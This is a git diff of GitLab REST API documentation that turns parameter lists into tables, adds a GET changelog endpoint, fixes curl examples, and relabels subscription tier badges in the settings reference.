## Raw blob content
@@ -146,7 +146,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
|:------------|:---------------|:---------|:----------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `sha` | string | no | The commit SHA to download. A tag, branch reference, or SHA can be used. This defaults to the tip of the default branch if not specified. |
| `path` | string | no | The subpath of the repository to download. This defaults to the whole repository (empty string). |
@@ -169,7 +169,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :--------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `from` | string | yes | The commit SHA or branch name. |
| `to` | string | yes | The commit SHA or branch name. |
| `from_project_id` | integer | no | The ID to compare from |
@@ -231,7 +231,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :--------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `order_by` | string | no | Return contributors ordered by `name`, `email`, or `commits` (orders by commit date) fields. Default is `commits`. |
| `sort` | string | no | Return contributors sorted in `asc` or `desc` order. Default is `asc`. |
@@ -263,7 +263,7 @@ GET /projects/:id/repository/merge_base
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `refs` | array | yes | The refs to find the common ancestor of, multiple refs can be passed |
Example request:
@@ -291,7 +291,7 @@ Example response:
}
```
-## Generate changelog data
+## Add changelog data to a changelog file
> [Introduced](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/351) in GitLab 13.9.
@@ -373,26 +373,26 @@ If the last tag is `v0.9.0` and the default branch is `main`, the range of commi
included in this example is `v0.9.0..main`:
```shell
-curl --header "PRIVATE-TOKEN: token" --data "version=1.0.0" "https://gitlab.com/api/v4/projects/42/repository/changelog"
+curl --request POST --header "PRIVATE-TOKEN: token" --data "version=1.0.0" "https://gitlab.com/api/v4/projects/42/repository/changelog"
```
To generate the data on a different branch, specify the `branch` parameter. This
command generates data from the `foo` branch:
```shell
-curl --header "PRIVATE-TOKEN: token" --data "version=1.0.0&branch=foo" "https://gitlab.com/api/v4/projects/42/repository/changelog"
+curl --request POST --header "PRIVATE-TOKEN: token" --data "version=1.0.0&branch=foo" "https://gitlab.com/api/v4/projects/42/repository/changelog"
```
To use a different trailer, use the `trailer` parameter:
```shell
-curl --header "PRIVATE-TOKEN: token" --data "version=1.0.0&trailer=Type" "https://gitlab.com/api/v4/projects/42/repository/changelog"
+curl --request POST --header "PRIVATE-TOKEN: token" --data "version=1.0.0&trailer=Type" "https://gitlab.com/api/v4/projects/42/repository/changelog"
```
To store the results in a different file, use the `file` parameter:
```shell
-curl --header "PRIVATE-TOKEN: token" --data "version=1.0.0&file=NEWS" "https://gitlab.com/api/v4/projects/42/repository/changelog"
+curl --request POST --header "PRIVATE-TOKEN: token" --data "version=1.0.0&file=NEWS" "https://gitlab.com/api/v4/projects/42/repository/changelog"
```
### How it works
@@ -689,7 +689,7 @@ The following capture groups are optional:
- `pre`: If set, the tag is ignored. Ignoring `pre` tags ensures release candidate
tags and other pre-release tags are not considered when determining the range of
commits to generate a changelog for.
-- `meta`: (Optional) Specifies build metadata.
+- `meta`: Optional. Specifies build metadata.
Using this information, GitLab builds a map of Git tags and their release
versions. It then determines what the latest tag is, based on the version
@@ -707,3 +707,39 @@ tag_regex: '^version-(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)$'
To test if your regular expression is working, you can use websites such as
[regex101](https://regex101.com/). If the regular expression syntax is invalid,
an error is produced when generating a changelog.
+
+## Generate changelog data
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345934) in GitLab 14.6.
+
+Generate changelog data based on commits in a repository, without committing
+them to a changelog file.
+
+Works exactly like `POST /projects/:id/repository/changelog`, except the changelog
+data isn't committed to any changelog file.
+
+```plaintext
+GET /projects/:id/repository/changelog
+```
+
+Supported attributes:
+
+| Attribute | Type | Required | Description |
+| :-------- | :------- | :--------- | :---------- |
+| `version` | string | yes | The version to generate the changelog for. The format must follow [semantic versioning](https://semver.org/). |
+| `from` | string | no | The start of the range of commits (as a SHA) to use for generating the changelog. This commit itself isn't included in the list. |
+| `to` | string | no | The end of the range of commits (as a SHA) to use for the changelog. This commit _is_ included in the list. Defaults to the branch specified in the `branch` attribute. |
+| `date` | datetime | no | The date and time of the release, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z`. Defaults to the current time. |
+| `trailer` | string | no | The Git trailer to use for including commits, defaults to `Changelog`. |
+
+```shell
+curl --header "PRIVATE-TOKEN: token" "https://gitlab.com/api/v4/projects/42/repository/changelog?version=1.0.0"
+```
+
+Example Response:
+
+```json
+{
+ "notes": "## 1.0.0 (2021-11-17)\n\n### feature (2 changes)\n\n- [Title 2](namespace13/project13@ad608eb642124f5b3944ac0ac772fecaf570a6bf) ([merge request](namespace13/project13!2))\n- [Title 1](namespace13/project13@3c6b80ff7034fa0d585314e1571cc780596ce3c8) ([merge request](namespace13/project13!1))\n"
+}
+```
diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md
index cc210eacd49..fd024240e90 100644
--- a/doc/api/repository_files.md
+++ b/doc/api/repository_files.md
@@ -35,6 +35,12 @@ GET /projects/:id/repository/files/:file_path
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fmodels%2Fkey%2Erb?ref=master"
```
+| Attribute | Type | Required | Description |
+|-------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `file_path` | string | yes | URL encoded full path to new file. Ex. `lib%2Fclass%2Erb`. |
+| `ref` | string | yes | The name of branch, tag or commit |
+
Example response:
```json
@@ -52,11 +58,6 @@ Example response:
}
```
-Parameters:
-
-- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
-- `ref` (required) - The name of branch, tag or commit
-
NOTE:
`blob_id` is the blob SHA, see [repositories - Get a blob from repository](repositories.md#get-a-blob-from-repository)
@@ -95,6 +96,12 @@ Allows you to receive blame information. Each blame range contains lines and cor
GET /projects/:id/repository/files/:file_path/blame
```
+| Attribute | Type | Required | Description |
+|-------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `file_path` | string | yes | URL encoded full path to new file. Ex. `lib%2Fclass%2Erb`. |
+| `ref` | string | yes | The name of branch, tag or commit |
+
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/13083/repository/files/path%2Fto%2Ffile.rb/blame?ref=master"
```
@@ -127,11 +134,6 @@ Example response:
]
```
-Parameters:
-
-- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
-- `ref` (required) - The name of branch, tag or commit
-
NOTE:
`HEAD` method return just file metadata as in [Get file from repository](repository_files.md#get-file-from-repository).
@@ -162,15 +164,16 @@ X-Gitlab-Size: 1476
GET /projects/:id/repository/files/:file_path/raw
```
+| Attribute | Type | Required | Description |
+|-------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `file_path` | string | yes | URL encoded full path to new file. Ex. `lib%2Fclass%2Erb`. |
+| `ref` | string | yes | The name of branch, tag or commit. Default is the `HEAD` of the project. |
+
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fmodels%2Fkey%2Erb/raw?ref=master"
```
-Parameters:
-
-- `file_path` (required) - URL encoded full path to new file, such as lib%2Fclass%2Erb.
-- `ref` (optional) - The name of branch, tag or commit. Default is the `HEAD` of the project.
-
NOTE:
Like [Get file from repository](repository_files.md#get-file-from-repository) you can use `HEAD` to get just file metadata.
@@ -182,6 +185,18 @@ This allows you to create a single file. For creating multiple files with a sing
POST /projects/:id/repository/files/:file_path
```
+| Attribute | Type | Required | Description |
+|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `file_path` | string | yes | URL encoded full path to new file. Ex. `lib%2Fclass%2Erb`. |
+| `branch` | string | yes | Name of the branch |
+| `start_branch` | string | no | Name of the branch to start the new commit from |
+| `encoding` | string | no | Change encoding to `base64`. Default is `text`. |
+| `author_email` | string | no | Specify the commit author's email address |
+| `author_name` | string | no | Specify the commit author's name |
+| `content` | string | yes | File content |
+| `commit_message` | string | yes | Commit message |
+
```shell
curl --request POST --header 'PRIVATE-TOKEN: <your_access_token>' \
--header "Content-Type: application/json" \
@@ -199,17 +214,6 @@ Example response:
}
```
-Parameters:
-
-- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
-- `branch` (required) - Name of the branch
-- `start_branch` (optional) - Name of the branch to start the new commit from
-- `encoding` (optional) - Change encoding to `base64`. Default is `text`.
-- `author_email` (optional) - Specify the commit author's email address
-- `author_name` (optional) - Specify the commit author's name
-- `content` (required) - File content
-- `commit_message` (required) - Commit message
-
## Update existing file in repository
This allows you to update a single file. For updating multiple files with a single request see the [commits API](commits.md#create-a-commit-with-multiple-files-and-actions).
@@ -218,6 +222,19 @@ This allows you to update a single file. For updating multiple files with a sing
PUT /projects/:id/repository/files/:file_path
```
+| Attribute | Type | Required | Description |
+|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `file_path` | string | yes | URL encoded full path to new file. Ex. `lib%2Fclass%2Erb`. |
+| `branch` | string | yes | Name of the branch |
+| `start_branch` | string | no | Name of the branch to start the new commit from |
+| `encoding` | string | no | Change encoding to `base64`. Default is `text`. |
+| `author_email` | string | no | Specify the commit author's email address |
+| `author_name` | string | no | Specify the commit author's name |
+| `content` | string | yes | File content |
+| `commit_message` | string | yes | Commit message |
+| `last_commit_id` | string | no | Last known file commit ID |
+
```shell
curl --request PUT --header 'PRIVATE-TOKEN: <your_access_token>' \
--header "Content-Type: application/json" \
@@ -235,18 +252,6 @@ Example response:
}
```
-Parameters:
-
-- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
-- `branch` (required) - Name of the branch
-- `start_branch` (optional) - Name of the branch to start the new commit from
-- `encoding` (optional) - Change encoding to `base64`. Default is `text`.
-- `author_email` (optional) - Specify the commit author's email address
-- `author_name` (optional) - Specify the commit author's name
-- `content` (required) - New file content
-- `commit_message` (required) - Commit message
-- `last_commit_id` (optional) - Last known file commit ID
-
If the commit fails for any reason we return a 400 error with a non-specific
error message. Possible causes for a failed commit include:
@@ -265,6 +270,17 @@ This allows you to delete a single file. For deleting multiple files with a sing
DELETE /projects/:id/repository/files/:file_path
```
+| Attribute | Type | Required | Description |
+|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `file_path` | string | yes | URL encoded full path to new file. Ex. `lib%2Fclass%2Erb`. |
+| `branch` | string | yes | Name of the branch |
+| `start_branch` | string | no | Name of the branch to start the new commit from |
+| `author_email` | string | no | Specify the commit author's email address. |
+| `author_name` | string | no | Specify the commit author's name. |
+| `commit_message` | string | yes | Commit message. |
+| `last_commit_id` | string | no | Last known file commit ID. |
+
```shell
curl --request DELETE --header 'PRIVATE-TOKEN: <your_access_token>' \
--header "Content-Type: application/json" \
@@ -272,13 +288,3 @@ curl --request DELETE --header 'PRIVATE-TOKEN: <your_access_token>' \
"commit_message": "delete file"}' \
"https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
```
-
-Parameters:
-
-- `file_path` (required) - URL encoded full path to new file. Ex. lib%2Fclass%2Erb
-- `branch` (required) - Name of the branch
-- `start_branch` (optional) - Name of the branch to start the new commit from
-- `author_email` (optional) - Specify the commit author's email address
-- `author_name` (optional) - Specify the commit author's name
-- `commit_message` (required) - Commit message
-- `last_commit_id` (optional) - Last known file commit ID
diff --git a/doc/api/resource_access_tokens.md b/doc/api/resource_access_tokens.md
index fa1e7aace9a..90e9769b896 100644
--- a/doc/api/resource_access_tokens.md
+++ b/doc/api/resource_access_tokens.md
@@ -58,7 +58,7 @@ POST projects/:id/access_tokens
|-----------|---------|----------|---------------------|
| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `name` | String | yes | The name of the project access token |
-| `scopes` | `Array[String]` | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) |
+| `scopes` | `Array[String]` | yes | [List of scopes](../user/project/settings/project_access_tokens.md#scopes-for-a-project-access-token) |
| `access_level` | Integer | no | A valid access level. Default value is 40 (Maintainer). Other allowed values are 10 (Guest), 20 (Reporter), and 30 (Developer). |
| `expires_at` | Date | no | The token expires at midnight UTC on that date |
diff --git a/doc/api/resource_groups.md b/doc/api/resource_groups.md
index ce4fa33d7f2..237ba6e7d72 100644
--- a/doc/api/resource_groups.md
+++ b/doc/api/resource_groups.md
@@ -2,12 +2,11 @@
stage: Release
group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: concepts, howto
---
-# Resource Groups API
+# Resource group API **(FREE)**
-You can read more about [controling the job concurrency with resource groups](../ci/resource_groups/index.md).
+You can read more about [controlling the job concurrency with resource groups](../ci/resource_groups/index.md).
## Get a specific resource group
diff --git a/doc/api/services.md b/doc/api/services.md
deleted file mode 100644
index 7587e53c9db..00000000000
--- a/doc/api/services.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'integrations.md'
-remove_date: '2021-11-09'
----
-
-This file was moved to [another location](integrations.md).
-
-<!-- This redirect file can be deleted after <2021-11-09>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/settings.md b/doc/api/settings.md
index dd32c882860..e953990c091 100644
--- a/doc/api/settings.md
+++ b/doc/api/settings.md
@@ -228,7 +228,7 @@ listed in the descriptions of the relevant settings.
| `after_sign_up_text` | string | no | Text shown to the user after signing up. |
| `akismet_api_key` | string | required by: `akismet_enabled` | API key for Akismet spam protection. |
| `akismet_enabled` | boolean | no | (**If enabled, requires:** `akismet_api_key`) Enable or disable Akismet spam protection. |
-| `allow_group_owners_to_manage_ldap` | boolean | no | **(PREMIUM)** Set to `true` to allow group owners to manage LDAP. |
+| `allow_group_owners_to_manage_ldap` **(PREMIUM)** | boolean | no | Set to `true` to allow group owners to manage LDAP. |
| `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. |
| `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. |
| `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. |
@@ -242,21 +242,21 @@ listed in the descriptions of the relevant settings.
| `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. |
| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. |
| `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. |
-| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
+| `check_namespace_plan` **(PREMIUM)** | boolean | no | Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. |
| `commit_email_hostname` | string | no | Custom hostname (for private commit emails). |
| `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. |
| `deactivate_dormant_users` | boolean | no | Enable [automatic deactivation of dormant users](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). |
| `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. |
| `default_branch_name` | string | no | [Instance-level custom initial branch name](../user/project/repository/branches/default.md#instance-level-custom-initial-branch-name) ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225258) in GitLab 13.2). |
-| `default_branch_protection` | integer | no | Determine if developers can push to the default branch. Can take: `0` _(not protected, both developers and maintainers can push new commits and force push)_, `1` _(partially protected, developers and maintainers can push new commits, but cannot force push)_ or `2` _(fully protected, developers cannot push new commits, but maintainers can; no one can force push)_ as a parameter. Default is `2`. |
+| `default_branch_protection` | integer | no | Determine if developers can push to the default branch. Can take: `0` _(not protected, both users with the Developer role or Maintainer role can push new commits and force push)_, `1` _(partially protected, users with the Developer role or Maintainer role can push new commits, but cannot force push)_ or `2` _(fully protected, users with the Developer or Maintainer role cannot push new commits, but users with the Developer or Maintainer role can; no one can force push)_ as a parameter. Default is `2`. |
| `default_ci_config_path` | string | no | Default CI/CD configuration file and path for new projects (`.gitlab-ci.yml` if not set). |
| `default_group_visibility` | string | no | What visibility level new groups receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `default_project_creation` | integer | no | Default project creation protection. Can take: `0` _(No one)_, `1` _(Maintainers)_ or `2` _(Developers + Maintainers)_|
| `default_project_visibility` | string | no | What visibility level new projects receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
| `default_projects_limit` | integer | no | Project limit per user. Default is `100000`. |
| `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. |
-| `delayed_project_deletion` | boolean | no | **(PREMIUM SELF)** Enable delayed project deletion by default in new groups. Default is `false`. |
-| `deletion_adjourned_period` | integer | no | **(PREMIUM SELF)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90.
+| `delayed_project_deletion` **(PREMIUM SELF)** | boolean | no | Enable delayed project deletion by default in new groups. Default is `false`. |
+| `deletion_adjourned_period` **(PREMIUM SELF)** | integer | no | The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90.
| `diff_max_patch_bytes` | integer | no | Maximum [diff patch size](../user/admin_area/diff_limits.md), in bytes. |
| `diff_max_files` | integer | no | Maximum [files in a diff](../user/admin_area/diff_limits.md). |
| `diff_max_lines` | integer | no | Maximum [lines in a diff](../user/admin_area/diff_limits.md). |
@@ -273,23 +273,23 @@ listed in the descriptions of the relevant settings.
| `eks_account_id` | string | no | Amazon account ID. |
| `eks_integration_enabled` | boolean | no | Enable integration with Amazon EKS. |
| `eks_secret_access_key` | string | no | AWS IAM secret access key. |
-| `elasticsearch_aws_access_key` | string | no | **(PREMIUM)** AWS IAM access key. |
-| `elasticsearch_aws_region` | string | no | **(PREMIUM)** The AWS region the Elasticsearch domain is configured. |
-| `elasticsearch_aws_secret_access_key` | string | no | **(PREMIUM)** AWS IAM secret access key. |
-| `elasticsearch_aws` | boolean | no | **(PREMIUM)** Enable the use of AWS hosted Elasticsearch. |
-| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields to index by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. |
-| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that are indexed by Elasticsearch. |
-| `elasticsearch_indexing` | boolean | no | **(PREMIUM)** Enable Elasticsearch indexing. |
-| `elasticsearch_limit_indexing` | boolean | no | **(PREMIUM)** Limit Elasticsearch to index certain namespaces and projects. |
-| `elasticsearch_max_bulk_concurrency` | integer | no | **(PREMIUM)** Maximum concurrency of Elasticsearch bulk requests per indexing operation. This only applies to repository indexing operations. |
-| `elasticsearch_max_bulk_size_mb` | integer | no | **(PREMIUM)** Maximum size of Elasticsearch bulk indexing requests in MB. This only applies to repository indexing operations. |
-| `elasticsearch_namespace_ids` | array of integers | no | **(PREMIUM)** The namespaces to index via Elasticsearch if `elasticsearch_limit_indexing` is enabled. |
-| `elasticsearch_project_ids` | array of integers | no | **(PREMIUM)** The projects to index via Elasticsearch if `elasticsearch_limit_indexing` is enabled. |
-| `elasticsearch_search` | boolean | no | **(PREMIUM)** Enable Elasticsearch search. |
-| `elasticsearch_url` | string | no | **(PREMIUM)** The URL to use for connecting to Elasticsearch. Use a comma-separated list to support cluster (for example, `http://localhost:9200, http://localhost:9201"`). |
-| `elasticsearch_username` | string | no | **(PREMIUM)** The `username` of your Elasticsearch instance. |
-| `elasticsearch_password` | string | no | **(PREMIUM)** The password of your Elasticsearch instance. |
-| `email_additional_text` | string | no | **(PREMIUM)** Additional text added to the bottom of every email for legal/auditing/compliance reasons. |
+| `elasticsearch_aws_access_key` **(PREMIUM)** | string | no | AWS IAM access key. |
+| `elasticsearch_aws_region` **(PREMIUM)** | string | no | The AWS region the Elasticsearch domain is configured. |
+| `elasticsearch_aws_secret_access_key` **(PREMIUM)** | string | no | AWS IAM secret access key. |
+| `elasticsearch_aws` **(PREMIUM)** | boolean | no | Enable the use of AWS hosted Elasticsearch. |
+| `elasticsearch_indexed_field_length_limit` **(PREMIUM)** | integer | no | Maximum size of text fields to index by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. |
+| `elasticsearch_indexed_file_size_limit_kb` **(PREMIUM)** | integer | no | Maximum size of repository and wiki files that are indexed by Elasticsearch. |
+| `elasticsearch_indexing` **(PREMIUM)** | boolean | no | Enable Elasticsearch indexing. |
+| `elasticsearch_limit_indexing` **(PREMIUM)** | boolean | no | Limit Elasticsearch to index certain namespaces and projects. |
+| `elasticsearch_max_bulk_concurrency` **(PREMIUM)** | integer | no | Maximum concurrency of Elasticsearch bulk requests per indexing operation. This only applies to repository indexing operations. |
+| `elasticsearch_max_bulk_size_mb` **(PREMIUM)** | integer | no | Maximum size of Elasticsearch bulk indexing requests in MB. This only applies to repository indexing operations. |
+| `elasticsearch_namespace_ids` **(PREMIUM)** | array of integers | no | The namespaces to index via Elasticsearch if `elasticsearch_limit_indexing` is enabled. |
+| `elasticsearch_project_ids` **(PREMIUM)** | array of integers | no | The projects to index via Elasticsearch if `elasticsearch_limit_indexing` is enabled. |
+| `elasticsearch_search` **(PREMIUM)** | boolean | no | Enable Elasticsearch search. |
+| `elasticsearch_url` **(PREMIUM)** | string | no | The URL to use for connecting to Elasticsearch. Use a comma-separated list to support cluster (for example, `http://localhost:9200, http://localhost:9201"`). |
+| `elasticsearch_username` **(PREMIUM)** | string | no | The `username` of your Elasticsearch instance. |
+| `elasticsearch_password` **(PREMIUM)** | string | no | The password of your Elasticsearch instance. |
+| `email_additional_text` **(PREMIUM)** | string | no | Additional text added to the bottom of every email for legal/auditing/compliance reasons. |
| `email_author_in_body` | boolean | no | Some email servers do not support overriding the email sender name. Enable this option to include the name of the author of the issue, merge request or comment in the email body instead. |
| `enabled_git_access_protocol` | string | no | Enabled protocols for Git access. Allowed values are: `ssh`, `http`, and `nil` to allow both protocols. |
| `enforce_namespace_storage_limit` | boolean | no | Enabling this permits enforcement of namespace storage limits. |
@@ -302,13 +302,13 @@ listed in the descriptions of the relevant settings.
| `external_authorization_service_timeout` | float | required by:<br>`external_authorization_service_enabled` | The timeout after which an authorization request is aborted, in seconds. When a request times out, access is denied to the user. (min: 0.001, max: 10, step: 0.001). |
| `external_authorization_service_url` | string | required by:<br>`external_authorization_service_enabled` | URL to which authorization requests are directed. |
| `external_pipeline_validation_service_url` | string | no | URL to use for pipeline validation requests. |
-| `external_pipeline_validation_service_token` | string | no | (Optional) Token to include as the `X-Gitlab-Token` header in requests to the URL in `external_pipeline_validation_service_url`. |
+| `external_pipeline_validation_service_token` | string | no | Optional. Token to include as the `X-Gitlab-Token` header in requests to the URL in `external_pipeline_validation_service_url`. |
| `external_pipeline_validation_service_timeout` | integer | no | How long to wait for a response from the pipeline validation service. Assumes `OK` if it times out. |
-| `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from. |
+| `file_template_project_id` **(PREMIUM)** | integer | no | The ID of a project to load custom file templates from. |
| `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. |
-| `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. |
-| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status times out. |
-| `git_two_factor_session_expiry` | integer | no | **(PREMIUM)** Maximum duration (in minutes) of a session for Git operations when 2FA is enabled. |
+| `geo_node_allowed_ips` **(PREMIUM)** | string | yes | Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. |
+| `geo_status_timeout` **(PREMIUM)** | integer | no | The amount of seconds after which a request to get a secondary node status times out. |
+| `git_two_factor_session_expiry` **(PREMIUM)** | integer | no | Maximum duration (in minutes) of a session for Git operations when 2FA is enabled. |
| `gitaly_timeout_default` | integer | no | Default Gitaly timeout, in seconds. This timeout is not enforced for Git fetch/push operations or Sidekiq jobs. Set to `0` to disable timeouts. |
| `gitaly_timeout_fast` | integer | no | Gitaly fast operation timeout, in seconds. Some Gitaly operations are expected to be fast. If they exceed this threshold, there may be a problem with a storage shard and 'failing fast' can help maintain the stability of the GitLab instance. Set to `0` to disable timeouts. |
| `gitaly_timeout_medium` | integer | no | Medium Gitaly timeout, in seconds. This should be a value between the Fast and the Default timeout. Set to `0` to disable timeouts. |
@@ -319,7 +319,7 @@ listed in the descriptions of the relevant settings.
| `help_page_hide_commercial_content` | boolean | no | Hide marketing-related entries from help. |
| `help_page_support_url` | string | no | Alternate support URL for help page and help dropdown. |
| `help_page_text` | string | no | Custom text displayed on the help page. |
-| `help_text` | string | no | **(PREMIUM)** GitLab server administrator information. |
+| `help_text` **(PREMIUM)** | string | no | GitLab server administrator information. |
| `hide_third_party_offers` | boolean | no | Do not display offers from third parties in GitLab. |
| `home_page_url` | string | no | Redirect to this URL when not logged in. |
| `housekeeping_bitmaps_enabled` | boolean | required by: `housekeeping_enabled` | Enable Git pack file bitmap creation. |
@@ -336,20 +336,21 @@ listed in the descriptions of the relevant settings.
| `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. |
| `mailgun_signing_key` | string | no | The Mailgun HTTP webhook signing key for receiving events from webhook. |
| `mailgun_events_enabled` | boolean | no | Enable Mailgun event receiver. |
-| `maintenance_mode_message` | string | no | **(PREMIUM)** Message displayed when instance is in maintenance mode. |
-| `maintenance_mode` | boolean | no | **(PREMIUM)** When instance is in maintenance mode, non-administrative users can sign in with read-only access and make read-only API requests. |
+| `maintenance_mode_message` **(PREMIUM)** | string | no | Message displayed when instance is in maintenance mode. |
+| `maintenance_mode` **(PREMIUM)** | boolean | no | When instance is in maintenance mode, non-administrative users can sign in with read-only access and make read-only API requests. |
| `max_artifacts_size` | integer | no | Maximum artifacts size in MB. |
| `max_attachment_size` | integer | no | Limit attachment size in MB. |
| `max_import_size` | integer | no | Maximum import size in MB. 0 for unlimited. Default = 0 (unlimited) [Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. |
| `max_pages_size` | integer | no | Maximum size of pages repositories in MB. |
-| `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE SELF)** Maximum allowable lifetime for personal access tokens in days. |
+| `max_personal_access_token_lifetime` **(ULTIMATE SELF)** | integer | no | Maximum allowable lifetime for personal access tokens in days. |
+| `max_ssh_key_lifetime` **(ULTIMATE SELF)** | integer | no | Maximum allowable lifetime for SSH keys in days. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1007) in GitLab 14.6. |
| `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. |
| `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Administrators can configure repository mirroring. |
-| `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively. |
-| `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. |
-| `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. |
-| `npm_package_requests_forwarding` | boolean | no | **(PREMIUM)** Use npmjs.org as a default remote repository when the package is not found in the GitLab Package Registry for npm. |
-| `pypi_package_requests_forwarding` | boolean | no | **(PREMIUM)** Use pypi.org as a default remote repository when the package is not found in the GitLab Package Registry for PyPI. |
+| `mirror_capacity_threshold` **(PREMIUM)** | integer | no | Minimum capacity to be available before scheduling more mirrors preemptively. |
+| `mirror_max_capacity` **(PREMIUM)** | integer | no | Maximum number of mirrors that can be synchronizing at the same time. |
+| `mirror_max_delay` **(PREMIUM)** | integer | no | Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. |
